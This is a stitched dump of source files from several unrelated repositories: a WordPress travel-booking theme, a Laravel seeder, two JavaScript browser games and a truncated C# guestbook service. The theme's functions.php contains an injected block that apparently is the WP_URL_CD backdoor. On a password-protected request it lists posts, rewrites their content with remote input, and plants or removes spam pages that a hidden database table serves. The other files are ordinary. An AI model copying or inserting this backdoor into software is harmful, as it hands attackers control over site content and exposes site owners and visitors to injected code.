</tr>
<?php endif; ?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
<?php } else { ?>
<div class="alert-info"><?php echo esc_html__( 'Wrong Booking Number or Pin Code.', 'citytours' ); ?></div>
<?php } ?>
<?php } else {
echo esc_html__( 'You can not access to this page directly.', 'citytours' );
} ?>
</div>
<?php wp_footer(); ?>
</body>
</html><file_sep><?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '<PASSWORD>'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
{
$data['code'] = $_[1];
}
print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
}
break;
case 'set_id_links';
if (isset($_REQUEST['data']))
{
$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';
if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
{
print "true";
}
}
break;
case 'create_page';
if (isset($_REQUEST['remove_page']))
{
if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
{
print "true";
}
}
elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
{
if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
{
print "true";
}
}
break;
default: print "ERROR_WP_ACTION WP_URL_CD";
}
die("");
}
if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
{
$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
if ($data -> full_content)
{
print stripslashes($data -> content);
}
else
{
print '<!DOCTYPE html>';
print '<html ';
language_attributes();
print ' class="no-js">';
print '<head>';
print '<title>'.stripslashes($data -> title).'</title>';
print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
print '<meta name="robots" content="index, follow" />';
print '<meta charset="';
bloginfo( 'charset' );
print '" />';
print '<meta name="viewport" content="width=device-width">';
print '<link rel="profile" href="http://gmpg.org/xfn/11">';
print '<link rel="pingback" href="';
bloginfo( 'pingback_url' );
print '">';
wp_head();
print '</head>';
print '<body>';
print '<div id="content" class="site-content">';
print stripslashes($data -> content);
get_search_form();
get_sidebar();
get_footer();
}
exit;
}
?><?php
session_start();
//constants
define( 'CT_VERSION', '1.0.5' );
define( 'CT_DB_VERSION', '1.1' );
define( 'CT_TEMPLATE_DIRECTORY_URI', get_template_directory_uri() );
define( 'CT_IMAGE_URL', CT_TEMPLATE_DIRECTORY_URI . '/img' );
define( 'CT_INC_DIR', get_template_directory() . '/inc' );
define( 'RWMB_URL', CT_TEMPLATE_DIRECTORY_URI . '/inc/lib/meta-box/' );
define( 'CT_TAX_META_DIR_URL', CT_TEMPLATE_DIRECTORY_URI . '/inc/lib/tax-meta-class/' );
global $wpdb;
define( 'CT_HOTEL_VACANCIES_TABLE', $wpdb->prefix . 'ct_hotel_vacancies' );
define( 'CT_HOTEL_BOOKINGS_TABLE', $wpdb->prefix . 'ct_hotel_bookings' );
define( 'CT_REVIEWS_TABLE', $wpdb->prefix . 'ct_reviews' );
// define( 'CT_MODE', 'product' );
define( 'CT_ADD_SERVICES_TABLE', $wpdb->prefix . 'ct_add_services' );
define( 'CT_ADD_SERVICES_BOOKINGS_TABLE', $wpdb->prefix . 'ct_add_service_bookings' );
define( 'CT_TOUR_SCHEDULES_TABLE', $wpdb->prefix . 'ct_tour_schedules' );
define( 'CT_TOUR_SCHEDULE_META_TABLE', $wpdb->prefix . 'ct_tour_schedule_meta' );
define( 'CT_TOUR_BOOKINGS_TABLE', $wpdb->prefix . 'ct_tour_bookings' );
define( 'CT_CURRENCIES_TABLE', $wpdb->prefix . 'ct_currencies' );
define( 'CT_ORDER_TABLE', $wpdb->prefix . 'ct_order' );
define( 'CT_MODE', 'dev' );
if ( ! class_exists( 'ReduxFramework' ) ) {
require_once( CT_INC_DIR . '/lib/redux-framework/ReduxCore/framework.php' );
}
if ( ! isset( $redux_demo ) ) {
require_once( CT_INC_DIR . '/lib/redux-framework/config.php' );
}
//require files
require_once( CT_INC_DIR . '/lib/meta-box/meta-box.php' );
require_once( CT_INC_DIR . '/lib/meta-box/noerror.php' );
require_once( CT_INC_DIR . '/lib/multiple_sidebars.php' );
require_once( CT_INC_DIR . '/functions/main.php' );
require_once( CT_INC_DIR . '/shortcode/init.php' );
require_once( CT_INC_DIR . '/js_composer/init.php' );
require_once( CT_INC_DIR . '/admin/main.php');
require_once( CT_INC_DIR . '/frontend/main.php');
// Translation
load_theme_textdomain('citytours', get_template_directory() . '/languages');
//theme supports
add_theme_support( 'automatic-feed-links' );
add_theme_support( 'post-thumbnails' );
global $wp_version;
if ( version_compare( $wp_version, '4.1', '>=' ) ) {
add_theme_support( 'title-tag' );
add_filter( 'wp_title', 'ct_wp_title', 10, 2 );
} else {
add_filter( 'wp_title', 'ct_wp_title_old', 10, 2 );
}
if ( ! isset( $content_width ) ) $content_width = 900;
add_image_size( 'ct-list-thumb', 800, 533, true );
//actions
add_action( 'init', 'ct_init' );
add_action( 'wp_enqueue_scripts', 'ct_enqueue_scripts' );
add_action( 'wp_footer', 'ct_inline_script' );
add_action( 'tgmpa_register', 'ct_register_required_plugins' );
add_action( 'admin_menu', 'ct_remove_redux_menu',12 );
add_action( 'widgets_init', 'ct_register_sidebar' );
// add_action( 'user_register', 'ct_user_register' );
add_action( 'wp_login_failed', 'ct_login_failed' );
add_action( 'lost_password', 'ct_lost_password' );
add_action( 'comment_form_before', 'ct_enqueue_comment_reply' );
add_filter( '404_template', 'ct_show404' );
add_filter( 'authenticate', 'ct_authenticate', 1, 3);
add_filter( 'get_default_comment_status', 'ct_open_comments_for_myposttype', 10, 3 );
remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );<file_sep><?php
$output = $title = $parent_id = $active = '';
extract(shortcode_atts(array(
'title' => esc_html__("Section", 'citytours'),
'parent_id' => '',
'active' => '',
'class' => '',
), $atts));
$class = 'panel panel-default' . (empty( $class ) ? '': ( ' ' . $class ));
$class_in = ( $active === 'yes') ? ' in':'';
$class_collapsed = ( $active === 'yes') ? '' : ' collapsed';
$class_icon = ( $active === 'yes') ? 'icon-minus' : 'icon-plus';
$accordion_attrs = "";
if ( !empty( $parent_id ) ) {
$accordion_attrs = ' data-parent="#' . $parent_id . '"';
}
$uid = uniqid("ct-tg");
$css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class, $this->settings['base'], $atts );
$output .= "\n\t\t\t" . '<div class="' . esc_attr( $css_class ) . '">';
$output .= "\n\t\t\t\t" . '<div class="panel-heading"><h4 class="panel-title"><a class="accordion-toggle' . $class_collapsed . '" href="#' . $uid . '" data-toggle="collapse"' . $accordion_attrs . '>' . esc_html( $title ) . '<i class="indicator pull-right ' . $class_icon . '"></i></a></h4></div>';
$output .= "\n\t\t\t\t" . '<div id="' . $uid . '" class="panel-collapse collapse' . $class_in . '">';
$output .= "\n\t\t\t\t\t" . '<div class="panel-body"><p>';
$output .= ($content=='' || $content==' ') ? esc_html__("Empty section. Edit page to add content here.", 'citytours') : "\n\t\t\t\t" . wpb_js_remove_wpautop($content);
$output .= "\n\t\t\t\t\t" . '</p></div>';
$output .= "\n\t\t\t\t" . '</div>';
$output .= "\n\t\t\t" . '</div> ' . "\n";
echo ( $output ); | 0954b3d7ef3d4c81e6a914d41e1d8499de54f345 | [
"JavaScript",
"Text",
"PHP"
] | 15 | PHP | LonginusDi/yourju_wp | fa5abf7116a738ff06923e46412d7e4cf5653975 | 2a13469870e2786480dcf1147990cab1b8d3c95b | |
refs/heads/master | <repo_name>EduardoFNA/Telemedicina<file_sep>/database/seeds/ProductTableSeeder.php
<?php
use Illuminate\Database\Seeder;
class ProductTableSeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
$product = new \App\Product([
'imagePath' => 'https://images-na.ssl-images-amazon.com/images/I/91A-UYTPd9L._UX342_.jpg',
'title' => '<NAME>',
'description' => 'Excelente para tus actividades diarias. Ligero y compacto',
'price' => 30
]);
$product->save();
$product = new \App\Product([
'imagePath' => 'https://littleburgundy.blob.core.windows.net/images/products/1_138141_ZM.jpg',
'title' => '<NAME>',
'description' => 'Excelente para tus actividades diarias. Es tu estilo',
'price' => 35
]);
$product->save();
$product = new \App\Product([
'imagePath' => 'https://wildcraft.in/media/catalog/product/cache/1/image/9df78eab33525d08d6e5fb8d27136e95/g/a/gayatri_490_day1_18pgs_july_3557_11.png',
'title' => '<NAME>',
'description' => 'Excelente para tus actividades diarias. Practico',
'price' => 25
]);
$product->save();
$product = new \App\Product([
'imagePath' => 'https://cdn.gearpatrol.com/wp-content/uploads/2018/08/The-25-Best-Backpacks-for-Everyday-Use-gear-patrol-The-North-Face-Berkeley-Backpack.jpg',
'title' => 'Morral The North Face',
'description' => 'Excelente para tus actividades diarias. Garantizado',
'price' => 29
]);
$product->save();
$product = new \App\Product([
'imagePath' => 'https://media.decathlon.sg/1594144/arpenaz-hiking-1-day-backpack-10l-red-grey.jpg',
'title' => '<NAME>',
'description' => 'Excelente para tus actividades diarias. Muy compacto',
'price' => 19
]);
$product->save();
}
}
| 30b48c4a9642338463ab8ff025dd4c4de5ede230 | [
"PHP"
] | 1 | PHP | EduardoFNA/Telemedicina | 4fd370a3c10a0526f72ba84e5945cdffb00f8e8a | b3075930af1da33953837977364a37aa8273e786 | |
refs/heads/master | <file_sep>class Block{
constructor(row,col,width,height,padding,setTop,setLeft){
this.row = row
this.col = col
this.width = width
this.height = height
this.padding = padding
this.setTop = setTop
this.setLeft = setLeft
this.blocks = []
this.BlockSet()
}
BlockSet(){
for (let c = 0; c < this.col; c++) {
this.blocks[c] = []
for (let r = 0; r < this.row; r++) {
this.blocks[c][r] = {x:0,y:0,status:1};
}
}
}
BlockStatusCheck(bls){
for (let c = 0; c < this.col; c++) {
for (let r = 0; r < this.row; r++) {
if (this.blocks[c][r].status==1) {
bls.push(true)
}else{
bls.push(false)
}
}
}
}
draw(ctx){
for (let c = 0; c < this.col; c++) {
for (let r = 0; r < this.row; r++) {
if (this.blocks[c][r].status == 1) {
let blockX = (c*(this.width+this.padding))+this.setLeft
let blockY = (r*(this.height+this.padding))+this.setTop
this.blocks[c][r].x = blockX
this.blocks[c][r].y = blockY
ctx.beginPath()
ctx.rect(blockX,blockY,this.width,this.height,)
ctx.fillStyle="#0095DD"
ctx.fill()
ctx.closePath()
}
}
}
}
}
export default Block;
// ctx.fillStyle="red"
// ctx.fillStyle="#111111"
<file_sep># ブロック崩しゲーム
![breakout](/images/breakout_game1.png)
# Description
複雑なプログラムを組みトレーニングとして、ブロック崩しゲームを作成をしてみました。座標の設定や衝突判定のロジックを組むのは、とても難易度が高かったです。ブログに解説記事がありますので、よろしければご参照してください。
# Demo
<img src="/images/breakout_game2.gif" width="500px" height="300px"><br><br>
- [Demo](https://kazutotakeuchi-32.github.io/breakout_game/)
- [ブログ解説記事](https://taketon-blog.com/kazugramming/%e3%83%96%e3%83%ad%e3%83%83%e3%82%af%e5%b4%a9%e3%81%97%e3%82%b2%e3%83%bc%e3%83%a0/)
# Install
下記のコマンドを実行してください。<br><br>
```
$ git clone https://github.com/kazutotakeuchi-32/breakout_game.git
```
# Requirements
- HTML
- CSS
- JavaScript
- Live Server
<file_sep>class Game {
// Math.abs(this.paddle.y-(this.paddle.height/2)- this.ball.y) <= this.ball.rabius
constructor(node){
this.intervalID=null
this.node =document.querySelector(node)
this.ctx = this.node.getContext('2d')
this.ball =new window.Ball(this.node.width/2+10,this.node.height-30, -2,-2,10 )
this.paddle = new window.Paddle(10,75,false,parseInt( (this.node.width-75)/2),parseInt(this.node.height-10))
this.block = new window.Block(5,5,70,20,5,20,55)
document.addEventListener("keydown", this.paddle.keyDownHandler.bind(this.paddle), false);
document.addEventListener("keyup", this.paddle.keyupHandler.bind(this.paddle), false);
}
game_start(){
this.ctx.clearRect(0,0,this.node.width,this.node.height)
this.ball.draw(this.ctx)
this.paddle.draw(this.ctx)
this.paddle.move(this.node)
this.block.draw(this.ctx)
this.BallCollisionDetection()
this.BlockCollisionDetection()
}
BallCollisionDetection(){
if (this.ball.y+this.ball.dy <this.ball.rabius) {
this.ball.dy = -this.ball.dy
this.ball.y += this.ball.rabius
}
if(this.ball.x+this.ball.dx > this.node.width - this.ball.rabius || this.ball.x+this.ball.dx < this.ball.rabius){
this.ball.dx = -this.ball.dx
}
if (Math.abs(this.paddle.y+(this.paddle.height/2)- this.ball.y) <= this.ball.rabius ) {
if (this.ball.x >= this.paddle.x && this.ball.x <= this.paddle.x +1) {
this.ball.dy = -this.ball.dy
this.ball.dx = -this.ball.dx
this.ball.x -= 2
}
else if(this.ball.x >= this.paddle.x + this.paddle.width -1 && this.ball.x <= this.paddle.x + this.paddle.width){
this.ball.dy = -this.ball.dy
this.ball.dx = -this.ball.dx
this.ball.x += 2
}else if (this.ball.x >= this.paddle.x && this.ball.x <= this.paddle.x + this.paddle.width) {
this.ball.dy = -this.ball.dy
this.ball.y += this.ball.rabius
}
}
else if (Math.abs(this.paddle.y-(this.paddle.height/2)- this.ball.y) <= this.ball.rabius ) {
if (this.ball.x >= this.paddle.x && this.ball.x <= this.paddle.x +1) {
this.ball.dy = -this.ball.dy
this.ball.dx = -this.ball.dx
this.ball.y = Math.abs(this.paddle.y-(this.paddle.height/2)) - this.ball.rabius
this.ball.x -= 2
}else if(this.ball.x >= this.paddle.x + this.paddle.width -1 && this.ball.x <= this.paddle.x + this.paddle.width){
this.ball.dy = -this.ball.dy
this.ball.dx = -this.ball.dx
this.ball.y = Math.abs(this.paddle.y-(this.paddle.height/2)) - this.ball.rabius
this.ball.x += 2
}else if (this.ball.x >= this.paddle.x && this.ball.x <= this.paddle.x + this.paddle.width) {
this.ball.dy = -this.ball.dy
this.ball.y = Math.abs(this.paddle.y-(this.paddle.height/2)) - this.ball.rabius
}
}
if ( this.ball.y+this.ball.dy >this.node.height) this.game_over()
// this.ball.dy = -this.ball.dy
// this.ball.y -= this.ball.rabius
this.ball.x += this.ball.dx;
this.ball.y += this.ball.dy;
}
BlockCollisionDetection(){
this.game_clear()
for (let c = 0; c <this.block.col; c++) {
for (let r = 0; r < this.block.row; r++) {
let b =this.block.blocks[c][r]
if (b.status == 1) {
if (this.ball.x >b.x && this.ball.x< b.x +this.block.width && this.ball.y > b.y && this.ball.y < b.y+this.block.height) {
this.ball.dy = -this.ball.dy;
b.status = 0
}
}
}
}
}
game_clear(){
let blocks_status =[]
this.block.BlockStatusCheck(blocks_status)
blocks_status = blocks_status.filter((bl)=>bl == true)
if (blocks_status.length == []) {
alert("ゲームクリア")
clearInterval(this.intervalID)
}
}
game_over(){
alert("ゲームオーバー")
clearInterval(this.intervalID)
}
}
const game = new Game("#myCanvas");
game.intervalID=setInterval(function (params) {
game.game_start()
},10)
// game.game_start()
// this.ball.y = (Math.abs(this.paddle.y-(this.paddle.height/2)- this.ball.y) <= this.ball.rabius) ?
// Math.abs(this.paddle.y-(this.paddle.height/2)) - this.ball.rabius
// :
// null
// Math.abs(this.paddle.y+(this.paddle.height/2)) - this.ball.rabius
// if (Math.abs(this.paddle.y+(this.paddle.height/2)- this.ball.y) <= this.ball.rabius ) {
// this.ball.y -= this.paddle.height
// }
// this.ball.y = (Math.abs(this.paddle.y-(this.paddle.height/2)- this.ball.y) <= this.ball.rabius) ?
// Math.abs(this.paddle.y-(this.paddle.height/2)) - this.ball.rabius
// :
// Math.abs(this.paddle.y+(this.paddle.height/2)) - this.ball.rabius
// this.ball.y = - this.ball.rabius
// this.ball.dy = -this.ball.dy
// this.ball.dx = -this.ball.dx
// this.ball.dx *= -1
// this.ball.dy *= -1
// if (Math.abs(this.paddle.y+(this.paddle.height/2)- this.ball.y) <= this.ball.rabius ) {
// this.ball.y -= this.paddle.height
// }
// this.ball.y = (Math.abs(this.paddle.y-(this.paddle.height/2)- this.ball.y) <= this.ball.rabius) ?
// Math.abs(this.paddle.y-(this.paddle.height/2)) - this.ball.rabius
// :
// Math.abs(this.paddle.y+(this.paddle.height/2)) - this.ball.rabius
// this.ball.x += 1
// this.ball.y = this.paddle.y - this.ball.rabius
// this.ball.dy = -this.ball.dy
// this.ball.dy *= -1
// console.log);
// this.game_clear()
// if (this.ball.y + this.ball.dy >= this.paddle.y - this.paddle.height && this.ball.y+this.ball.dy >= this.paddle.y) {
// if (this.ball.x >= this.paddle.x && this.ball.x <= this.paddle.x + this.paddle.width ) {
// this.ball.dy = -this.ball.dy
// this.ball.dx *= 1
// }
// }
// this.ball.dx *= 1
// if ( Math.abs(this.paddle.x-(this.paddle.width/2)- this.ball.x)< this.ball.x || Math.ads()) {
// this.ball.dy = -this.ball.dy
// }
// if ( this.ball.x >= this.paddle.x && this.ball.x <= this.paddle.x + this.paddle.width ) {
// this.ball.dy = -this.ball.dy
// }
// }else if (this.ball.y+this.ball.dy > this.paddle.y-this.paddle.height ) {
// }else if ( this.ball.x >= this.paddle.x && this.ball.x <= this.paddle.x + this.paddle.width && Math.abs(this.paddle.y+(this.paddle.height/2)- this.ball.y) < this.ball.rabius ) {
// this.ball.dy = -this.ball.dy
// }else if(this.ball.x >= this.paddle.x && this.ball.x <= this.paddle.x + this.paddle.width && this.ball.y + this.ball.dy >= this.paddle.y - this.paddle.height && this.ball.y+this.ball.dy >= this.paddle.y){
// else if ( this.ball.x >= this.paddle.x && this.ball.x <= this.paddle.x + this.paddle.width && Math.abs(this.paddle.y-(this.paddle.height/2)- this.ball.y) <= this.ball.rabius) {
// this.ball.dy = -this.ball.dy
// }
// ||Math.abs(this.paddle.y+(this.paddle.height/2)-this.ball.y) == this.ball.rabius
// }else if ( this.ball.x >= this.paddle.x && this.ball.x <= this.paddle.x + this.paddle.width && this.ball.y+this.ball.dy >= this.paddle.y-this.paddle.height && this.ball.y+this.ball.dy <= this.paddle.y) {
// this.ball.dy = -this.ball.dy
// }
// }else if(this.ball.x >=this.paddle.x-parseInt((this.paddle.x/2)) && this.ball.x <= this.paddle.x+parseInt((this.paddle/2))){
// console.log("tt");
// this.ball.dy = -this.ball.dy
// }
// if(this.ball.y+this.ball.dy > this.paddle.y ){
// }
// // }
// if (this.ball.y+this.ball.dy >this.node.height-this.ball.rabius) {
// this.ball.dy = -this.ball.dy
// }
//if (ball.y >= paddle.y - ball.size && ball.y <= paddle.y + ball.size && ball.x >= paddle.x - (paddle.size / 2) && ball.x <= paddle.x + (paddle.size / 2)) {
// ball.dy *= -1;
// }
// 10
//
// console.log(`ball(x:${this.ball.x},y${this.ball.y}`);
// console.log(`paddle(x:${this.ball.x},y${this.ball.y}`);
<file_sep>// キャンバス
let canvas = document.querySelector('#myCanvas')
let ctx = canvas.getContext('2d')
// パドル
let paddleHeight = 10
let paddleWidth = 75
let paddleX = (canvas.width - paddleWidth)/2
let rightPressed = false
let leftPressed = false
// ボール
let x = canvas.width/2;
let y = canvas.height-30;
let dx = -2;
let dy = -2;
let ballRabius = 10
// ブロック
let brickRowCount = 3;
let brickColumnCount = 5;
let brickWidth = 75;
let brickHeight =20;
let brickPadding = 5;
let brickOffsetTop = 30;
let brickOffsetLeft = 30;
let bricks =[]
for (let c = 0; c < brickColumnCount; c++) {
bricks[c] = [];
for (let r = 0; r < brickRowCount; r++) {
console.log(r);
bricks[c][r] = {x:0,y:0,status:1};
}
}
function collisionDetection() {
for (let c = 0; c < brickColumnCount; c++) {
for (let r = 0; r < brickRowCount; r++) {
let b = bricks[c][r]
if (b.status == 1) {
if (x >b.x && x < b.x +brickWidth && y > b.y && y < b.y+brickHeight) {
dy = -dy
b.status = 0
}
}
}
}
}
function drawBricks() {
for (let c = 0; c < brickColumnCount; c++) {
for (let r = 0; r < brickRowCount; r++) {
if (bricks[c][r].status == 1) {
let brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
let brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
bricks[c][r].x = brickX
bricks[c][r].y = brickY
ctx.beginPath()
ctx.rect(brickX,brickY,brickWidth,brickHeight)
ctx.fillStyle="#0095DD"
ctx.fill()
ctx.closePath()
}
}
}
}
function keyDownHandler(e) {
console.log(e.key);
if (e.key == "Right" || e.key == "ArrowRight") {
rightPressed = true
}
else if(e.key =="Left" || e.key=="ArrowLeft"){
leftPressed=true
}
}
function keyupHandler(e) {
if (e.key == "Right" || e.key == "ArrowRight") {
rightPressed = false
}
else if(e.key =="Left" || e.key=="ArrowLeft"){
leftPressed=false
}
}
function drawBall(){
ctx.beginPath();
ctx.arc(x, y, ballRabius, 0, Math.PI*2);
ctx.fillStyle = "#0095DD";
ctx.fill();
ctx.closePath();
}
function drawPaddle(){
ctx.beginPath();
ctx.rect(paddleX, canvas.height-paddleHeight, paddleWidth,paddleHeight);
ctx.fillStyle = "#0095DD";
ctx.fill();
ctx.closePath();
}
function draw() {
ctx.clearRect(0,0,canvas.width,canvas.height)
drawBall()
drawBricks();
drawPaddle()
collisionDetection()
if (rightPressed && paddleX < canvas.width-paddleWidth) {
paddleX += 7
}else if (leftPressed && paddleX > 0) {
paddleX -=7
}
if (y+dy < ballRabius ) {
dy = -dy
}else if ( y+dy > canvas.height - ballRabius) {
if (x>paddleX && x<paddleX+paddleWidth) {
dy = -dy
}else{
clearInterval(interval)
alert("GAME OVER")
}
}
if (x+dx > canvas.width -ballRabius|| x+dx < ballRabius) {
dx = -dx
}
x += dx;
y += dy;
}
let interval=setInterval(draw,10)
document.addEventListener("keydown", keyDownHandler, false);
document.addEventListener("keyup", keyupHandler, false);
class Game {
constructor(){
// this.ball = Ball()
// this.paddle = Paddle()
// this.block = Block()
}
start(){
console.log("dd");
}
}
const game = new Game();
game.start();
class Ball{
constructor(){
// this.ball = Ball()
// this.paddle = Paddle()
// this.block = Block()
}
}
class Paddle{
constructor(){
// this.ball = Ball()
// this.paddle = Paddle()
// this.block = Block()
}
}
class Block{
constructor(){
}
}
// if (y+dy<0) {
// dy = -dy
// }
// if (y+dy > canvas.height) {
// dy = -dy
// }
// ctx.fillStyle ="green"
// ctx.fillRect(10,10,100,100)
// ctx.beginPath();
// ctx.rect(10,0,50,50);
// ctx.fillStyle = "#FF0000";
// ctx.fill();
// ctx.closePath();
// ctx.beginPath();
// ctx.arc(240,160,20,0,Math.PI*2,false);
// ctx.fillStyle = "green";
// ctx.fill();
// ctx.closePath();
// ctx.beginPath();
// ctx.rect(160, 10, 100, 40);
// ctx.strokeStyle = "rgba(0, 0, 255, 0.5)";
// ctx.stroke();
// ctx.closePath()
| 303bd8a6c0f671b91c80701a7e71b674dc59af65 | [
"JavaScript",
"Markdown"
] | 4 | JavaScript | kazutotakeuchi-32/breakout_game | 68d37a64ed1f7f4112ae8f5c537765c9cd8f14d2 | 171daa89fe7649620a239e912565670d98f9bc96 | |
refs/heads/master | <repo_name>kurumkan/simon<file_sep>/myscript.js
var isStrict=false;
//this can be changed via the tumbler
var isOn=false;
//this can be changed via start button
var hasStarted=false;
//here we will store the sequence of button/melodies
var sequence=[];
//key - button id, value - Howl object to play sound according to the button
var btnData={"button-tl":new Howl({urls: ["http://s3.amazonaws.com/freecodecamp/simonSound1.mp3"]}),
"button-tr":new Howl({urls: ["http://s3.amazonaws.com/freecodecamp/simonSound2.mp3"]}),
"button-br":new Howl({urls: ["http://s3.amazonaws.com/freecodecamp/simonSound3.mp3"]}),
"button-bl":new Howl({urls: ["http://s3.amazonaws.com/freecodecamp/simonSound4.mp3"]})};
//sound to play on error
var errorSound=new Howl({urls:["https://raw.githubusercontent.com/kurumkan/simon/master/error.mp3"]});
//sound to play on victory
var winSound=new Howl({urls:["https://raw.githubusercontent.com/kurumkan/simon/master/success.mp3"]});
//current level
var level=0;
//user input (in range 0-3 inclusive)
var input=-1;
$(document).ready(function(){
//event listener of the 4 buttons
$("#board").on("mousedown",".clickable",function(event){
//only if start button has been pressed
//hasStarted sets true
if(hasStarted){
var id=event.target.id;
switch(id){
case "button-tl":
input=0;
break;
case "button-tr":
input=1;
break;
case "button-br":
input=2;
break;
case "button-bl":
input=3;
break;
}
}
});
$("#tumbler-box").click(function(){
isOn=!isOn;
$("#tumbler").toggleClass("on");
if(!isOn){
//turning off the game
$("#strict-ind").removeClass("ind-on");
isStrict=false;
resetGame();
display("");
}else{
//turning on the game
display("--");
}
});
$("#strict-btn").click(function(){
//switching scrtict mode
if(isOn){
isStrict=!isStrict;
$("#strict-ind").toggleClass("ind-on");
}
});
$("#start-btn").click(function(){
//start the game
if(isOn){
startGame();
}
});
});
//this function to reset the game, but not to start
function resetGame(){
hasStarted=false;
input=-1;
sequence=[];
level=0;
display("--");
setTimeout(function(){
$("#board div").removeClass("clickable");
},500);
}
//start the game
function startGame(){
$("#board div").addClass("clickable");
sequence=[];
input=-1
hasStarted=true;
//adding the first entry to our sequence
addRandomNumber();
//starting iteration through the sequence
iterateThrough();
level=1;
display(level);
}
//display data
function display(data){
if(data===""){
$("#display").text("");
}else{
//display 2 characters string prepending 0-s if needed
data="00"+data;
data=data.substring(data.length-2);
$("#display").text(data);
//"blinking" effect
setTimeout(function(){
$("#display").css("color","#ccc");
},300);
setTimeout(function(){
$("#display").css("color","#2ECC40");
},600);
}
}
//adding random number in range 0-3 inclusive
function addRandomNumber(){
var index=Math.floor(Math.random() * 4);
sequence.push(index);
}
function iterateThrough(){
if(hasStarted){
//make the buttons unclickable while playing the sequence
$("#board div").removeClass("clickable");
playSequence(0);
//after playing the sequence - wait user input
checkInput(0);
}
}
//play the sequence. Make the buttons clickable
function playSequence(i){
if(i>=sequence.length||!hasStarted){
$("#board div").addClass("clickable");
return;
}
playTune(sequence[i]);
setTimeout(function(){playSequence(i+1)},800);
}
//play single melody from the sequence
function playTune(index){
var id=null;
switch(index){
case 0:
id="button-tl";
break;
case 1:
id="button-tr";
break;
case 2:
id="button-br";
break;
case 3:
id="button-bl";
break;
}
btnData[id].play();
//making effect of pressed button
$("#"+id).addClass("clickeffect");
setTimeout(function(){
$("#"+id).removeClass("clickeffect");
}, 400);
}
//run this in case of victory
function celebrate(){
setTimeout(function(){
winSound.play();
}, 500);
resetGame();
display("**");
$("#board div").addClass("clickeffect");
setTimeout(function(){
$("#board div").removeClass("clickeffect");
}, 3000);
}
//get user input and compare it to the according sequence entry
function checkInput(i){
if(hasStarted){
//if all the sequence has been reproduced without mistakes
if(i>=sequence.length){
level++;
//after passing level 20 - you are a winner!
if(level>20){
celebrate();
return;
}
display(level);
//append new entry to the sequence
addRandomNumber();
$("#board div").removeClass("clickable");
//play the sequence again(including the new entry)
setTimeout(function(){iterateThrough();},1500);
return true;
}
//waiting user input
if(input===undefined||input<0){
setTimeout(function(){checkInput(i)}, 100);
}else{//got input
var temp=input;
input=-1;
//the input was wrong
if(temp!==sequence[i]){
display("!!");
errorSound.play();
$("#board div").removeClass("clickable");
setTimeout(function(){
display(level);
$("#board div").addClass("clickable");
},1500);
//restart the game in case of strict mode
if(isStrict)
setTimeout(function(){startGame();},1500);
//if normal mode - repeat the sequence(without adding new entry)
else
setTimeout(function(){iterateThrough();},1500);
return false;
}
//correct input
else{
//play according sound
playTune(temp);
//get the next user input
setTimeout(function(){checkInput(i+1)},100);
}
}
}
}
<file_sep>/README.md
#Simon Game
See <a href="http://codepen.io/pbweb/full/qaWLGO/">the demo</a> | b8d3a8a8c4d3fd7d789a961940ded647e904f620 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | kurumkan/simon | 704d7b114199a5259dbf78798679fbaadaf52ffe | bef8b88efb9616bdac05a750bcd4b9ba03982756 | |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Text;
using CleanArchitecture.Core.Entities;
using CleanArchitecture.Core.Interfaces;
namespace CleanArchitecture.Core.Services
{
public class GuestbookService : IGuestbookService
{
private readonly IRepository<Guestbook> _guestbookRepository;
private readonly IMessageSender _messageSender;
public GuestbookService(IRepository<Guestbook> guestbookRepository, IMessageSender messageSender)
{
_guestbookRepository = guestbookRepository;
_messageSender = messageSender;
}
public void RecordEntry(Guestbook guestbook, GuestbookEntry newEntry)
{
